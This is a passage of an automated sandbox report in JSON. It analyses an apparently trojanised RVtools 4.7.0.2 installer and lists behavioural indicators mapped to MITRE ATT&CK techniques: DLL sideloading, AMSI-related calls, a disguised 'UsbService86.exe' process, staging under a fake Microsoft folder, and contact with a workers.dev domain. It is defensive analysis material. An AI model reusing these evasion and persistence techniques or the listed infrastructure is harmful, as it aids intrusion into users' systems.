\"GetStartupInfo\"; File: \"nsExec.dll\")\n Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"whoami\" (Indicator: \"whoami\") in Source: AMSI","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\NSGDF58.TMP\\NSEXEC.DLL\n %ALLUSERSPROFILE%\\MICROSOFT\\SYSTEMWEB\\SYSTEMINFO\\CLR_LOADER\\FFI\\DLLS\\AMD64\\CLRLOADER.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$35","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"UsbService86.exe\" queries volume information of \"C:\\\" at 00000000-00007744-00000C17-3170688152","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"start.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"RVtools-4.7.0.2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"sc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"UsbService86.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"UsbService86.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"start.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\RVTOOLS-4.7.0.2.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"start.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO Observed Cloudflare workers.dev Domain in TLS SNI\" (SID: 2051768, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"python312.zip\" copied on \"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\python312.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"RVtools-4.7.0.2.msi\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"RVtools-4.7.0.2.msi\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"RVtools-4.7.0.2.msi\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"nsExec.dll\")\n file/memory contains long string(File: \"MSIC2B7.tmp\")\n file/memory contains long string(File: \"MSIB386.tmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$37","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$38","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"UsbService86.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$39","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$3a","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"RVtools-4.7.0.2.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00001196)\n \"UsbService86.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134127865234937824.7744.DefaultAppDomain.UsbService86\" - (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\FmbdTy135FlM4aAbAQbejVM7vAumrMQesit6KIToWYG91Dfp1hv5zgUvlVuwWoGKtgxh4fZiL3PNXp7mYHsQpckxrk5g6Zo6CVPr0HO90X0VnfSrPmYVIQ\" - (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"file/memory contains long string with (Indicator: \"GetExecutingAssembly\"; File: \"ClrLoader.dll\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"mud.alert-router-b3a.workers.dev\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.21.23.246:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\ss2\\Projects\\MsiWrapper\\MsiCustomActions\\Release\\MsiCustomActions.pdb\"\n \"sc.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT `Data` FROM `Binary` WHERE `Name` = '%s'\" (Source: RVtools-4.7.0.2.msi, Indicator: \"select `data` from `binary` where `name` = '%s'\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"nsExec.dll\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")\n Found reference to API \"52204523932,1448,3143,,CreateProcessW,kernel32.dll,\"01:08:50.765\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"8439839252,1448,3135,,CreateDirectoryW,kernel32.dll,\"01:08:32.531\",RX=0,PX=0\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001196.00000000.263272.005F0000.00000004.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"CreateFile\"; File: \"nsExec.dll\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"ShellExecuteEx failed (%d).\" (Indicator: \"ShellExecute\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004460.00000000.262966.00E62000.00000002.mdmp\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004460.00000000.262966.01350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"RVtools-4.7.0.2.msi\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"nsExec.dll\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartService: OpenService\" (Indicator: \"StartService\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"StartService\" (Indicator: \"StartService\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"StartService: OpenService\" (Indicator: \"StartService\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"StartService\" (Indicator: \"StartService\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains reference to licensed c/c++ library","description":"Found string \"Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.\" (Indicator: \"Copyright (c) 1992-2004 by P.J. Plauger\n licensed by Dinkumware\n Ltd. ALL RIGHTS RESERVED.\"; File: \"RVtools-4.7.0.2.msi\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-462","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"RVtools-4.7.0.2.exe\" with parameter %TEMP%\\ (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter C:\\ProgramData (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter %ALLUSERSPROFILE%\\Microsoft (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter %ALLUSERSPROFILE%\\Microsoft\\SystemWEB (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter %ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter %ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\__pycache__ (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter %ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi (UID: 00000000-00001196)\n \"RVtools-4.7.0.2.exe\" with parameter %ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi\\__pycache__ (UID: 00000000-00001196)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3f","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Detected expand command line utility (used to expand or compress files)","description":"Process \"EXPAND.EXE\" with commandline \"-R files.cab -F:* files\" (UID: 00000000-00007788)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":3,"id":"target-317","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$41","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134127865234937824.7744.DefaultAppDomain.UsbService86\n Found string - \\\\.\\pipe\\FmbdTy135FlM4aAbAQbejVM7vAumrMQesit6KIToWYG91Dfp1hv5zgUvlVuwWoGKtgxh4fZiL3PNXp7mYHsQpckxrk5g6Zo6CVPr0HO90X0VnfSrPmYVIQ","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"RVtools-4.7.0.2.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72680000\n \"msiexec.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72680000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"start.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 54F80000\n \"UsbService86.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 548D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"UsbService86.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 874E0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$44","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 56540000\n \"start.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 56540000\n \"UsbService86.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 56540000\n \"csc.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 56540000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95CE0000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75FE0000\n \"ICACLS.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75FE0000\n \"EXPAND.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75FE0000\n \"start.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95CE0000\n \"RVtools-4.7.0.2.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75FE0000\n \"msiexec.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75FE0000\n \"sc.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75FE0000\n \"UsbService86.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 95CE0000\n \"csc.exe\" loaded module 